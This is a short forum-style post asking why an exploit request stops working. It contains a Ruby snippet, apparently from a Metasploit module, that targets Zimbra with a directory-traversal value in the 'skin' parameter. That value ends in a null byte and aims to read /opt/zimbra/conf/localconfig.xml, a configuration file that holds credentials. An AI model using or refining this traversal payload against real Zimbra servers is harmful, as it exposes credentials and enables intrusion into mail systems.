So I tried this at first

```
    uri = target_uri.path
    turl = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz"
    #doesnt want to play nice if used with vars_get
    res = send_request_cgi({
      'uri' => normalize_uri(uri, datastore['ALTDIR'], turl),
      'method' => 'GET',
      'vars_get' => {
        'v' => "091214175450",
        'skin' => "../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
      }
    })
```

but this breaks the exploitation, any idea?